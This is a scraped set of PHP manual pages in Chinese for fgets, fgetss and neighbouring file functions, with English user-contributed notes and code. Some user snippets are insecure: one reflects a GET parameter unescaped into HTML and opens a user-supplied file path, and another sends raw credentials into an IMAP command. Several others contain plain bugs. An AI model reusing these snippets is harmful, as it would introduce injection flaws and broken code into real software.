     * @return int The current row number
     */
    public function key() {
        return $this->rowCounter;
    }

    /**
     * This method checks if the end of file is reached.
     *
     * @access public
     * @return boolean Returns true on EOF reached, false otherwise.
     */
    public function next() {
        return !feof($this->filePointer);
    }

    /**
     * This method checks if the next row is a valid row.
     *
     * @access public
     * @return boolean If the next row is a valid row.
     */
    public function valid() {
        if (!$this->next()) {
            fclose($this->filePointer);
            return false;
        }
        return true;
    }
}
?>

Usage :

<?php
$csvIterator = new CsvIterator('/path/to/csvfile.csv');
foreach ($csvIterator as $row => $data) {
    // do somthing with $data
}
?>
jc at goetc dot net 16-Jun-2004 08:51
I've had alot of projects recently dealing with csv files, so I created the following class to read a csv file and return an array of arrays with the column names as keys. The only requirement is that the 1st row contain the column headings.

I only wrote it today, so I'll probably expand on it in the near future.

<?php
class CSVparse
  {
  var $mappings = array();

  function parse_file($filename)
    {
    $id = fopen($filename, "r"); //open the file
    $data = fgetcsv($id, filesize($filename)); /*This will get us the */
                                               /*main column names */

    if(!$this->mappings)
       $this->mappings = $data;

    while($data = fgetcsv($id, filesize($filename)))
        {
         if($data[0])
           {
            foreach($data as $key => $value)
               $converted_data[$this->mappings[$key]] = addslashes($value);
            $table[] = $converted_data; /* put each line into */
             }                                 /* its own entry in    */
         }                                     /* the $table array    */
    fclose($id); //close file
    return $table;
    }
  }
?>
phpnet at smallfryhosting dot co dot uk 18-Sep-2003 09:42
Another version [modified michael from mediaconcepts]

<?php
  function arrayFromCSV($file, $hasFieldNames = false, $delimiter = ',', $enclosure='') {
    $result = Array();
    $size = filesize($file) +1;
    $file = fopen($file, 'r');
    #TO DO: There must be a better way of finding out the size of the longest row... until then
    if ($hasFieldNames) $keys = fgetcsv($file, $size, $delimiter, $enclosure);
    while ($row = fgetcsv($file, $size, $delimiter, $enclosure)) {
        $n = count($row); $res=array();
        for($i = 0; $i < $n; $i++) {
            $idx = ($hasFieldNames) ? $keys[$i] : $i;
            $res[$idx] = $row[i];
        }
        $result[] = $res;
    }
    fclose($file);
    return $result;
  }
?>
kurtnorgaz at web dot de 21-Jul-2003 12:00
You should pay attention to the fact that "fgetcsv" does remove leading TAB-chars "chr(9)" while reading the file.

This means if you have a chr(9) as the first char in the file and you use fgetcsv this char is automaticaly deleted.

Example:
file content:
chr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = first
$line[1] = second
$line[2] = third
$line[3] = fourth

and not
$line[0] = chr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth

All chr(9) after another char is not deleted!

Example:
file content:
Achr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = Achr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth


从文件指针中读取一行

  • ? fgetcsv
  • fgetss ?
  • PHP Manual
  • 文件系统函数
  • 从文件指针中读取一行

fgets

(PHP 4, PHP 5, PHP 7, PHP 8)

fgets — 从文件指针中读取一行

说明

fgets(resource $stream, ?int $length = null): string|false

从文件指针中读取一行。

参数

stream

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

length

从 handle 指向的文件中读取一行并返回长度最多为 length - 1 字节的字符串。碰到换行符（包括在返回值中）、EOF 或者已经读取了 length - 1 字节后停止（看先碰到那一种情况）。如果没有指定 length，则默认为 1K，或者说 1024 字节。

返回值

从指针 stream 指向的文件中读取了 length - 1 字节后返回字符串。 如果文件指针中没有更多的数据了则返回 false。

错误发生时返回 false。

示例

Example #1 逐行读取文件

<?php
$fp = @fopen("/tmp/inputfile.txt", "r");
if ($fp) {
while (($buffer = fgets($fp, 4096)) !== false) {
echo $buffer;
}
if (!feof($fp)) {
echo "Error: unexpected fgets() fail\n";
}
fclose($fp);
}
?>

注释

Note: 在读取在 Macintosh 电脑中或由其创建的文件时， 如果 PHP 不能正确的识别行结束符，启用运行时配置可选项 auto_detect_line_endings 也许可以解决此问题。

Note:

习惯了 C 语言中 fgets() 语法的人应该注意到 EOF 是怎样被返回的。

参见

  • fgetss() - 从文件指针中读取一行并过滤掉 HTML 标记
  • fread() - 读取文件（可安全用于二进制文件）
  • fgetc() - 从文件指针中读取字符
  • stream_get_line() - 从资源流里读取一行直到给定的定界符
  • fopen() - 打开文件或者 URL
  • popen() - 打开进程文件指针
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接
  • stream_set_timeout() - Set timeout period on a stream

User Contributed Notes

Anonymous 21-Mar-2020 03:34
if you for some reason need to get lines from a string instead of a file pointer, try

<?php
function string_gets(string $source, int $offset = 0, string $delimiter = "\n"): ?string
{
    $len = strlen($source);
    if ($len < $offset) {
        // out of bounds.. maybe i should throw an exception
        return null;
    }
    if ($len === $offset) {
        // end of string..
        return null;
    }
    $delimiter_pos = strpos($source, $delimiter, $offset);
    if ($delimiter_pos === false) {
        // last line.
        return substr($source, $offset);
    }
    return substr($source, $offset, ($delimiter_pos - $offset) + strlen($delimiter));
}

?>

(i had a ~16GB string in-memory i needed to process line-by-line, but i would get memory-allocation-crash (on a 32GB ram system) if i tried explode("\n",$str); , so came up with this.. interestingly, fgets() seems to be faster than doing it in-ram-in-php, though. php 7.3.7)
zsjpxah 03-Sep-2019 11:29
It's strange no one mentions "0" in this context.

Since "0" is considered to be false, a line with a single "0" can be treated as EOF if using the while assign idiom.

while ($line = fgets(STDIN, 2)) {
}

This may surprisingly break if a line starts with ")"
Anonymous 16-Mar-2018 04:57
<form>
<input type='text' name='filepath' value='<?php echo ((isset($_GET["filepath"])) ? $_GET["filepath"] : "");?>'>
<br>
<select name='sel'>
    <option value='var1' <?php echo ((isset($_GET["sel"]) && $_GET["sel"] == "var1") ? "selected=true" : "");?>> For Year</option>
    <option value='var2' <?php echo ((isset($_GET["sel"]) && $_GET["sel"] == "var2") ? "selected=true" : "");?>>Name</option>
    <option value='var3' <?php echo ((isset($_GET["sel"]) && $_GET["sel"] == "var3") ? "selected=true" : "");?>>Name&Year</option>
</select>
<br>
<input type='submit' value='Button'>

</form>

<?php

if((!isset($_GET['filepath']) || !file_exists($_GET['filepath'])) || !isset($_GET['sel']))
    exit("");

echo "List<br>";
$fullPath = "D:\\OSPanel\\domains\\" . $_GET["filepath"];
$f = fopen($fullPath, "r");
$arr;
for($i = 0; $str = fgets($f); $i++){
    $tempArr0 = explode('-', $str);
    $arr[$i][0] = trim($tempArr0[0]);
    $arr[$i][1] = trim($tempArr0[1]);
}

if($_GET["sel"] == "var1"){
    sort($arr);
    echo "<p>";
    for($i = 0; $i < count($arr); $i++)
        echo "<i>{$arr[$i][0]}</i>; ";
    echo "</p>";
}
else if($_GET["sel"] == "var2"){
    for($i = 0; $i < count($arr); $i++)
        echo "<p><b>{$arr[$i][1]}</b></p>";
}
else if($_GET["sel"] == "var3"){
    for($i = 0; $i < count($arr); $i++)
        echo "<p><b>{$arr[$i][1]}</b>: <i>{$arr[$i][0]}</i></p>";
}

?>
Carlo 25-Feb-2018 10:16
Error in the example number 1 of this page.

change this line:
    $buffer = fgets($fd, 4096);
into:
    $buffer = fgets($handle, 4096);
bobo 06-Dec-2016 05:56
One easy sample, how to use "fgets":
This sample shows how to read the Information from an .txt file:

<?php
$z=fopen("protocol.txt","r");                       //r = read
if($pointer!=false)                                    //Is it possible to open the File?!
{
  //Repeats all Information from protocol.txt
  while(!feof($pointer))                              //the loop runs till the Pointer is at the End of the File
  {
    $row = fgets($pointer);                            // $row reads the Information from the row of the File
    echo "<p>".$row."</p>";
  }
  fclose($pointer);                                    //File must be closed
}
else
{
  echo"<p> It was not possible to open the File!</p>";
}
?>
bogdan at insightmed dot eu 01-Jul-2016 09:11
Even if  this is not really related to PHP and its internals take care when using fgets for reading input from CLI on Linux systems as it may behave unexpected because of the limitations of arguments length on these systems. For example doing rtrim(fgets(STDIN), "\n") on a user input larger than 4095 characters will cut the the input string to 4095 characters. This shortcoming can be solved using "stty -icanon" before the script run, followed by a "stty icanon" after the script is run.
bfb1985 at yahoo dot es 28-Jan-2016 11:59
I had loads of trouble while reading with fgets on a WAMP (Windows server). On local the file went unto a <pre> tag without a hitch, but when I moved the code to a LAMP production server, every \r\n created two fgets and I got free empty lines.

I tried deleting with $string=str_replace("\r\n","\n",$string); but it had no effect whatsoever. The solution was to do an fread() and explode the contents by PHP_EOL and do a foreach($lines as $line) so every line did not get duplicated.

Here is the example code:

$file=fopen("test.txt,"r");
$text=fread($file,filesize("test.txt"));
$lines=explode(PHP_EOL,$text);
foreach($lines as $line)
  {
  // Do something
  }
alex at alex-at dot ru 03-Nov-2015 10:28
For anyone who wants a proper non-blocking fgets for sockets, there is a tiny snippet that does just that (performance should be horrible compared to fgets though):

<?php
function read_line_nb($handle)
{
    static $buffer = '';
    static $lastOffset = 0;

    $buffer .= fread($handle, 0x1000);
    if (preg_match('#\\R#', $buffer, $m, PREG_OFFSET_CAPTURE, $lastOffset)) {
        $line = substr($buffer, 0, $m[0][1] + strlen($m[0][0]));
        $buffer = substr($buffer, $m[0][1] + strlen($m[0][0]));
        return $line;
    }
    $lastOffset = strlen($buffer);
    return false;
}
?>
Leigh Purdie 08-Apr-2015 03:03
A better example, to illustrate the differences in speed for large files, between fgets and stream_get_line.

This example simulates situations where you are reading potentially very long lines, of an uncertain length (but with a maximum buffer size), from an input source.

As Dade pointed out, the previous example I provided was much to easy to pick apart, and did not adequately highlight the issue I was trying to address.

Note that specifying a definitive end-character for fgets (ie: newline), generally decreases the speed difference reasonably significantly.

#!/usr/bin/php
<?php
        $plaintext=file_get_contents('http://loripsum.net/api/60/verylong/plaintext');  # Should be around 90k characters
        $plaintext=str_replace("\n"," ",$plaintext); # Get rid of newlines

        $fp=fopen("/tmp/SourceFile.txt","w");
        for($i=0;$i<100000;$i++) {
                fputs($fp,substr($plaintext,0,rand(4096,65534)) . "\n");
        }
        fclose($fp);

        $fp=fopen("/tmp/SourceFile.txt","r");
        $start=microtime(true);
        while($line=fgets($fp,65535)) {
                1;
        }
        $end=microtime(true);
        fclose($fp);
        $delta1=($end - $start);

        $fp=fopen("/tmp/SourceFile.txt","r");
        $start=microtime(true);
        while($line=stream_get_line($fp,65535)) {
                1;
        }
        $end=microtime(true);
        fclose($fp);
        $delta2=($end - $start);

        $pdiff=$delta1/$delta2;
        print "stream_get_line is " . ($pdiff>1?"faster":"slower") . " than fgets - pdiff is $pdiff\n";
?>

$ ./testcase.php
stream_get_line is faster than fgets - pdiff is 1.760398041785

Note that, in a vast majority of situations in which php is employed, tiny differences in speed between system calls are of negligible importance.
wojons 29-Jan-2014 11:32
This goes out to Leigh Purdie (5 years ago) and also Dade Brandon (4 months ago)

So i say Leigh posting and though omg i need to change all my fgets to stream_get_line. Then i ran the tests as shown in Leigh Purdie comment His results:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s

My Results:

$  time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m0.341s
user    0m0.352s
sys    0m0.148s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m4.283s
user    0m4.128s
sys    0m0.448s

My results do show the same issue his results show. But first off PHP has at least gotten about 2-5 times faster then when the tests were first run (or better hardware).

Now to relate to Dade Brandon who states if you use a correct buffer size the perfomance is neck and neck.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,21,"\n")) { 1; } fclose($fp);'

real    0m0.336s
user    0m0.412s
sys    0m0.076s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,21)) { 1; } fclose($fp);'

real    0m0.312s
user    0m0.364s
sys    0m0.192s

As you can see very close and fgets just coming just a little bit ahead. I suspect that fgets is reading backwards on the buffer or loads everything into its self then trys to figure it out where as a correct set buffer does the trick. Dade Brandon states that fgets lets you know how the line was delimited. stream_get_line lets you choose what you wanna call the delimiter using its 3rd option.

fgets has one more option that is important, you dont have to set the length of the line. So in a case where you may not know the length of the line maybe in handling Http protocol or something else like log lines you can simply leave it off and still get great performance.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp)) { 1; } fclose($fp);'

real    0m0.261s
user    0m0.260s
sys    0m0.232s

This is better then with a buffer set.
Anonymous 29-Jan-2014 11:31
This goes out to Leigh Purdie (5 years ago) and also Dade Brandon (4 months ago)

So i say Leigh posting and though omg i need to change all my fgets to stream_get_line. Then i ran the tests as shown in Leigh Purdie comment His results:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s

My Results:

$  time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m0.341s
user    0m0.352s
sys    0m0.148s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m4.283s
user    0m4.128s
sys    0m0.448s

My results do show the same issue his results show. But first off PHP has at least gotten about 2-5 times faster then when the tests were first run (or better hardware).

Now to relate to Dade Brandon who states if you use a correct buffer size the perfomance is neck and neck.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,21,"\n")) { 1; } fclose($fp);'

real    0m0.336s
user    0m0.412s
sys    0m0.076s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,21)) { 1; } fclose($fp);'

real    0m0.312s
user    0m0.364s
sys    0m0.192s

As you can see very close and fgets just coming just a little bit ahead. I suspect that fgets is reading backwards on the buffer or loads everything into its self then trys to figure it out where as a correct set buffer does the trick. Dade Brandon states that fgets lets you know how the line was delimited. stream_get_line lets you choose what you wanna call the delimiter using its 3rd option.

fgets has one more option that is important, you dont have to set the length of the line. So in a case where you may not know the length of the line maybe in handling Http protocol or something else like log lines you can simply leave it off and still get great performance.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp)) { 1; } fclose($fp);'

real    0m0.261s
user    0m0.260s
sys    0m0.232s

This is better then with a buffer set.
Dade Brandon 31-Aug-2013 12:33
Regarding Leigh Purdie's comment (from 4 years ago) about stream_get_line being better for large files, I decided to test this in case it was optimized since then and I found out that Leigh's comment is just completely incorrect

fgets actually has a small amount of better performance, but the test Leigh did was not set up to produce good results

The suggested test was:

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

0m1.616s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

0m7.392s

The reason this is invalid is because the buffer size of 65535 is completely unnecessary

piping the output of "yes 'this is a test line'" in to PHP makes each line 19 characters plus the delimiter

so while I don't know why stream_get_line performs better with an oversize buffer, if both buffer sizes are correct, or default, they have a negligable performance difference - although notably, stream_get_line is consistent - however if you're thinking of switching, make sure to be aware of the difference between the two functions, that stream_get_line does NOT append the delimiter, and fgets DOES append the delimiter

Here are the results on one of my servers:

Buffer size 65535
stream_get_line:    0.340s
fgets:   2.392s

Buffer size of 1024
stream_get_line:  0m0.348s
fgets: 0.404s

Buffer size of 8192 (the default for both)
stream_get_line: 0.348s
fgets:  0.552s

Buffer size of 100:
stream_get_line: 0.332s
fgets: 0.368s
apardo at NOSPAM dot gmail dot com 17-May-2012 04:03
This is a a simple function to detect end of line type for any file.

<?php
function detectEndOfLine($file)
{
    $handle = @fopen($file, "r");
    if ($handle)
    {
        $char=0;
        while (!$eol || feof($handle))
        {
            $char++;
            $line = fgets($handle, $char);
            $eol = preg_match("/(\r)+/", $line)? "W" : "";
            if(!$eol) $eol = preg_match("/(\n)+/", $line)? "L" : "";
        }
        return $eol;
        fclose($handle);
    }
}
?>
dan at censornet dot com 25-Apr-2012 12:42
WARNING! fgets() and I presume any read() call to a file handle, e.g.

  while(!feof(STDIN)) {
    $line = fgets(STDIN);

    ...do something useful with $line...
  }

...will result in a timeout after a default time of 60 seconds on my install. This behavior is non standard (not POSIX like) and seems to me to be a bug, or if not a major caveat which should be documented more clearly.

After the timeout fgets() will return FALSE (=== FALSE), however, you can check to see if the stream (file handle) has really closed by checking feof($stream), e.g.

  while(!feof(STDIN)) {
    $line = fgets(STDIN);

    if($line === FALSE) {
      if(feof(STDIN)) {
        break;
      }
      continue;
    }

    ...do something useful with $line...
  }
hgs at cs dot columbia dot edu 20-Jan-2011 04:42
There seems to be an interaction between sockets and the auto_detect_line_endings setting that can cause rather peculiar behavior. Apparently, if the first line read from a socket is split across two TCP packets, the detector will look at the first TCP packet and determine that the system uses MacOS (\r) line endings, even though the LF is contained in the next packet. For example, this affected the PEAR Net_SMTP package, which would fail mysteriously for only some email servers.
lzsiga at freemail.c3.hu 04-Jun-2010 11:32
Some people try to call feof before fgets, and then ignoring the return value of fgets. This method leads to processing value FALSE when reaching the end of file.

Bad example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while (! feof ($f)) {
        $line= fgets ($f);
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>

Good example:
<?php
    $f = fopen ("fgetstest.php", "r");
    $ln= 0;
    while ($line= fgets ($f)) {
        ++$ln;
        printf ("%2d: ", $ln);
        if ($line===FALSE) print ("FALSE\n");
        else print ($line);
    }
    fclose ($f);
?>
afwxkat at gmail dot com 22-Jul-2009 05:07
One thing I discovered with fgets, at least with PHP 5.1.6, is that you may have to use an IF statement to avoid your code running rampant (and possibly hanging the server).  This can cause problems if you do not have root access on the server on which you are working.

This is the code I have implemented ($F1 is an array):

<?php
   if($fh = fopen("filename","r")){
      while (!feof($fh)){
         $F1[] = fgets($fh,9999);
      }
      fclose($fh);
    }
?>

I have noticed that without the IF statement, fgets seems to ignore when $fh is undefined (i.e., "filename" does not exist).  If that happens, it will keep attempting to read from a nonexistent filehandle until the process can be administratively killed or the server hangs, whichever comes first.
Leigh Purdie 12-Oct-2008 11:14
For large files, consider using stream_get_line rather than fgets - it can make a significant difference.

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=stream_get_line($fp,65535,"\n")) { 1; } fclose($fp);'

real    0m1.482s
user    0m1.616s
sys    0m0.152s

$ time yes "This is a test line" | head -1000000 | php -r '$fp=fopen("php://stdin","r"); while($line=fgets($fp,65535)) { 1; } fclose($fp);'

real    0m7.281s
user    0m7.392s
sys    0m0.136s
jerem-NoSpam-ified at live dot com 17-Apr-2008 08:22
It's worth noting that this function only assumes chr(10) as a line break, but not chr(13). Personally, I prefer using chr(13) as a line break.
Daniel Klein 25-Jan-2008 08:47
The file pointer that fgets() uses can also be created with the proc_open() function and used with the stdout pipe created from the executed process.
david_sitller at blackbit dot de 24-Oct-2007 05:32
If you use the example from the command-description, i recommend to trim the $buffer for further use. The line feed ist still at the end of the line. I saw this when using PHP CLI.

Like this, checking a file-list for existing entries:

$handle = fopen ("/tmp/files.txt", "r");
while (!feof($handle)) {
    $buffer = fgets($handle, 4096);
    if (file_exists(rtrim($filename,"\n"))) {
        echo $buffer;
    } else {
        echo $buffer." has been removed."
}
fclose ($handle);
anacreo has gmail 18-Sep-2007 02:15
I'm using this function to modify the header of a large postscript document on copy...  Works extremely quickly so far...

function write($filename) {
     $fh = fopen($this->sourceps,'r');
     $fw = fopen($filename,'w');

     while (!feof($fh)) {
       $buffer = fgets($fh);
       fwrite($fw,$buffer);
       if (!$setupfound && ereg("^%%BeginSetup",$buffer)) {
         $setupfound++;
         if (array_key_exists("$filename",$this->output)) {
           foreach ($this->output[$filename] as $function => $value) {
             fwrite($fw,$value);
           }
         }
         stream_copy_to_stream($fh,$fw);
       }
     }
     fclose($fw);
     fclose($fh);
   }
Peter Schlaile 21-Aug-2007 11:36
fscanf($file, "%s\n") isn't really a good substitution for fgets(), since it will stop parsing at the first whitespace and not at the end of line!

(See the fscanf page for details on this)
David at Weintraub.name 10-Jul-2007 02:23
There's an error in the documentation:

The file pointer must be valid, and must point to a file successfully opened by fopen() or fsockopen() (and not yet closed by fclose()).

You should also add "popen" and "pclose" to the documentation. I'm a new PHP developer and went to verify that I could use "fgets" on commands that I used with "popen".
d at foo.com 13-Aug-2006 01:03
For sockets, If you dont want fgets, fgetc etc... to block if theres no data there. set socket_set_blocking(handle,false); and socket_set_blocking(handle,true); to set it back again.
svayn at yahoo dot com 14-Jul-2006 02:21
fgets is SLOW for scanning through large files. If you don't have PHP 5, use fscanf($file, "%s\n") instead.
sam dot bryan at montal dot com 23-May-2006 02:09
An easy way to authenticate Windows Domain users from scripts running on a non-Windows or non-Domain box - pass the submitted username and password to an IMAP service on a Windows machine.

<?php
$server = 'imapserver';
$user = 'user';
$pass = 'pass';

if (authIMAP($user, $pass, $server)) {
    echo "yay";
} else {
    echo "nay";
}

function authIMAP($user, $pass, $server) {
    $connection = fsockopen($server, 143, $errno, $errstr, 30);

    if(!$connection) return false;

    $output = fgets($connection, 128); // banner
    fputs($connection, "1 login $user $pass\r\n");
    $output = fgets($connection, 128);
    fputs($connection, "2 logout\r\n");
    fclose($connection);

    if (substr($output, 0, 4) == '1 OK') return true;

    return false;
}
?>
24-Mar-2006 09:36
Macintosh line endings mentioned in docs refer to Mac OS Classic. You don't need this setting for interoperability with unixish OS X.
tavernadelleidee[italy] 09-Mar-2006 03:44
I think that the quickest way of read a (long) file with the rows in  reverse order is

<?php
$myfile = 'myfile.txt';
$command = "tac $myfile > /tmp/myfilereversed.txt";
passthru($command);
$ic = 0;
$ic_max = 100;  // stops after this number of rows
$handle = fopen("/tmp/myfilereversed.txt", "r");
while (!feof($handle) && ++$ic<=$ic_max) {
   $buffer = fgets($handle, 4096);
   echo $buffer."<br>";
}
fclose($handle);
?>

It echos the rows while it is reading the file so it is good for long files like logs.

Borgonovo
ecvej 04-Jan-2006 01:20
I would have expected the same behaviour from these bits of code:-

<?php

/*This times out correctly*/
while (!feof($fp)) {
    echo fgets($fp);
}

/*This times out before eof*/
while ($line=fgets($fp)) {
    echo $line;
}

/*A reasonable fix is to set a long timeout*/
stream_set_timeout($fp, 180);
while ($line=fgets($fp)) {
    echo $line;
}
?>
hackajar <matt> yahoo <trot> com 05-Dec-2005 12:17
When working with VERY large files, php tends to fall over sideways and die.

Here is a neat way to pull chunks out of a file very fast and won't stop in mid line, but rater at end of last known line.  It pulled a 30+ million line 900meg file through in ~ 24 seconds.

NOTE:
$buf just hold current chunk of data to work with.  If you try "$buf .=" (note 'dot' in from of '=') to append $buff, script will come to grinding crawl around 100megs of data, so work with current data then move on!

//File to be opened
$file = "huge.file";
//Open file (DON'T USE a+ pointer will be wrong!)
$fp = fopen($file, 'r');
//Read 16meg chunks
$read = 16777216;
//\n Marker
$part = 0;

while(!feof($fp)) {
    $rbuf = fread($fp, $read);
    for($i=$read;$i > 0 || $n == chr(10);$i--) {
        $n=substr($rbuf, $i, 1);
        if($n == chr(10))break;
        //If we are at the end of the file, just grab the rest and stop loop
        elseif(feof($fp)) {
            $i = $read;
            $buf = substr($rbuf, 0, $i+1);
            break;
        }
    }
    //This is the buffer we want to do stuff with, maybe thow to a function?
    $buf = substr($rbuf, 0, $i+1);
    //Point marker back to last \n point
    $part = ftell($fp)-($read-($i+1));
    fseek($fp, $part);
}
fclose($fp);
kpeters AT-AT monolithss DEE OH TEE com 01-Dec-2005 05:51
It appears that fgets() will return FALSE on EOF (before feof has a chance to read it), so this code will throw an exception:

while (!feof($fh)) {
  $line = fgets($fh);
  if ($line === false) {
    throw new Exception("File read error");
  }
}
dandrews OVER AT 3dohio DOT com 07-Jan-2005 11:11
Saku's example may also be used like this:

<?php
 @ $pointer = fopen("$DOCUMENT_ROOT/foo.txt", "r"); // the @ suppresses errors so you have to test the pointer for existence
   if ($pointer) {
     while (!feof($pointer)) {
         $preTEXT = fgets($pointer, 999);
         // $TEXT .= $preTEXT;  this is better for a string
        $ATEXT[$I] = $preTEXT;  // maybe better as an array
        $I++;
     }
     fclose($pointer);
   }
?>
angelo [at] mandato <dot> com 19-Nov-2004 06:43
Sometimes the strings you want to read from a file are not separated by an end of line character.  the C style getline() function solves this.  Here is my version:
<?php
function getline( $fp, $delim )
{
    $result = "";
    while( !feof( $fp ) )
    {
        $tmp = fgetc( $fp );
        if( $tmp == $delim )
            return $result;
        $result .= $tmp;
    }
    return $result;
}

// Example:
$fp = fopen("/path/to/file.ext", 'r');
while( !feof($fp) )
{
    $str = getline($fp, '|');
    // Do something with $str
}
fclose($fp);
?>
lelkesa 04-Nov-2004 02:54
Note that - afaik - fgets reads a line until it reaches a line feed (\\n). Carriage returns (\\r) aren't processed as line endings.
However, nl2br insterts a <br /> tag before carriage returns as well.
This is useful (but not nice - I must admit) when you want to store a more lines in one.
<?php
function write_lines($text) {
  $file = fopen('data.txt', 'a');
  fwrite($file, str_replace("\n", ' ', $text)."\n");
  fclose($file);
}

function read_all() {
  $file = fopen('data.txt', 'r');
  while (!feof($file)) {
    $line = fgets($file);
    echo '<u>Section</u><p>nl2br'.($line).'</p>';
  }
  fclose($file);
}
?>

Try it.
05-Sep-2004 03:05
If you need to simulate an un-buffered fgets so that stdin doesnt hang there waiting for some input (i.e. it reads only if there is data available) use this :
<?php

    function fgets_u($pStdn) {

            $pArr = array($pStdn);

        if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
            print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
            return FALSE;
        } elseif ($num_changed_streams > 0) {
                return trim(fgets($pStdn, 1024));
        }

    }

?>
timr 16-Jun-2004 07:13
If you need to read an entire file into a string, use file_get_contents().  fgets() is most useful when you need to process the lines of a file separately.
Pete 22-Feb-2004 04:35
If you have troubles reading binary data with versions <= 4.3.2 then upgrade to 4.3.3
The binary safe implementation seems to have had bugs which were fixed in 4.3.3


从文件指针中读取一行并过滤掉 HTML 标记

  • ? fgets
  • file_exists ?
  • PHP Manual
  • 文件系统函数
  • 从文件指针中读取一行并过滤掉 HTML 标记

fgetss

(PHP 4, PHP 5, PHP 7)

fgetss — 从文件指针中读取一行并过滤掉 HTML 标记

Warning

本函数已自 PHP 7.3.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

fgetss(resource $handle, int $length = ?, string $allowable_tags = ?): string

和 fgets() 相同，只除了 fgetss() 尝试从读取的文本中去掉任何 HTML 和 PHP 标记。 The function retains the parsing state from call to call, and as such is not equivalent to calling strip_tags() on the return value of fgets().

参数

handle

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

length

取回该长度的数据。

allowable_tags

可以用可选的第三个参数指定哪些标记不被去掉。 See strip_tags() for details regarding allowable_tags.

返回值

从 handle 指向的文件中大读取 length - 1 个字节的字符，并过滤了所有的 HTML 和 PHP 代码。

错误发生时返回 false。

示例

Example #1 一行行读取一个 PHP 文件

<?php
$str = <<<EOD
<html><body>
<p>Welcome! Today is the <?php echo(date('jS')); ?> of <?= date('F'); ?>.</p>
</body></html>
Text outside of the HTML block.
EOD;
file_put_contents('sample.php', $str);

$handle = @fopen("sample.php", "r");
if ($handle) {
while (!feof($handle)) {
$buffer = fgetss($handle, 4096);
echo $buffer;
}
fclose($handle);
}
?>

以上示例的输出类似于：

 Welcome! Today is the  of .

Text outside of the HTML block.

注释

Note: 在读取在 Macintosh 电脑中或由其创建的文件时， 如果 PHP 不能正确的识别行结束符，启用运行时配置可选项 auto_detect_line_endings 也许可以解决此问题。

参见

  • fgets() - 从文件指针中读取一行
  • fopen() - 打开文件或者 URL
  • popen() - 打开进程文件指针
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接
  • strip_tags() - 从字符串中去除 HTML 和 PHP 标签
  • SplFileObject::fgetss() - Gets line from file and strip HTML tags
  • string.strip_tags 过滤

User Contributed Notes

There are no user contributed notes for this page.


检查文件或目录是否存在

  • ? fgetss
  • file_get_contents ?
  • PHP Manual
  • 文件系统函数
  • 检查文件或目录是否存在

file_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

file_exists — 检查文件或目录是否存在

说明

file_exists(string $filename): bool

检查文件或目录是否存在。

参数

filename

文件或目录的路径。

在 Windows 中要用 //computername/share/filename 或者 \\computername\share\filename 来检查网络中的共享文件。

返回值

如果由 filename 指定的文件或目录存在则返回 true，否则返回 false。

Note:

对于指向文件不存在的符号链接，此函数将会返回 false。

Note:

The check is done using the real UID/GID instead of the effective one.

Note: 因为 PHP 的整数类型是有符号整型而且很多平台使用 32 位整型，对 2GB 以上的文件，一些文件系统函数可能返回无法预期的结果。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 测试一个文件是否存在

<?php
$filename = '/path/to/foo.txt';

if (file_exists($filename)) {
echo "The file $filename exists";
